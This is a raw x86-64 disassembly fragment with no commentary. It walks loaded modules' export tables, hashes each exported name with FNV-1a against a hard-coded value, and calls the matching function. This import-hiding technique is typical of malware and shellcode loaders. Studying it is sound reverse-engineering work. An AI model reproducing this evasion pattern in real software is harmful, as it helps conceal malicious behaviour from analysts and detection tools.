mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x1a8], rcx
mov rcx, qword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1a8]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x738], rcx
mov rcx, qword [rsp + 0xd8]
mov edx, dword [rsp + 0x738]
add rcx, rdx
mov qword [rax + 0x10], rcx
mov ecx, dword [rsp + 0x73c]
mov dword [rax], ecx
lea rax, [rsp + 0x718]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x460]
mov rcx, qword [rax + 0x10]
cmp rcx, qword [rax + 8]
je 0x14002c8ba
lea rax, [rsp + 0x718]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x468]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x84], ecx
cmp eax, 0
je 0x14002c8b8
movabs rax, 0x719011fb5d4071af
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x470]
shr rax, 0x20
mov ecx, dword [rsp + 0x84]
mov dword [rsp + 0x13c], ecx
lea rcx, [rsp + 0x718]
mov qword [rsp + 0x478], rcx
mov rcx, qword [rsp + 0x478]
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x20]
add r8, rcx
mov ecx, dword [rsp + 0x13c]
mov ecx, dword [r8 + rcx*4]
add rdx, rcx
mov dword [rsp + 0x138], eax
mov qword [rsp + 0x1a0], rdx
mov eax, dword [rsp + 0x138]
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x1a0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x1a0], rcx
mov al, byte [rax]
mov byte [rsp + 0x61], al
cmp byte [rsp + 0x61], 0
je 0x14002c884
mov al, byte [rsp + 0x61]
mov ecx, dword [rsp + 0xa4]
mov byte [rsp + 0x67], al
mov dword [rsp + 0x144], ecx
mov eax, dword [rsp + 0x144]
movsx ecx, byte [rsp + 0x67]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [rsp + 0xa4], eax
jmp 0x14002c82d
mov eax, dword [rsp + 0xa4]
movabs rcx, 0x719011fb5d4071af
mov qword [rsp + 0x480], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x480]
cmp eax, ecx
je 0x14002c8f0
jmp 0x14002c790
jmp 0x14002c8ba
lea rax, [rsp + 0x730]
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4a0]
mov rcx, qword [rax]
mov qword [rsp + 0x4a8], rcx
mov rcx, qword [rsp + 0x4a8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002c6b9
mov eax, dword [rsp + 0x84]
mov dword [rsp + 0x140], eax
lea rax, [rsp + 0x718]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x490], rcx
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x488], rcx
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x490]
mov rdx, qword [rsp + 0x488]
mov r8d, dword [rsp + 0x140]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x448]
mov rcx, qword [rsp + 0x240]
mov rcx, qword [rcx]
call rax
lea rcx, [rsp + 0x760]
call fcn.140005190
mov rcx, qword [rsp + 0x3eb8]
xor rcx, rsp
call fcn.14002f510
nop
add rsp, 0x3ec0
pop rbx
pop rdi
pop rsi
ret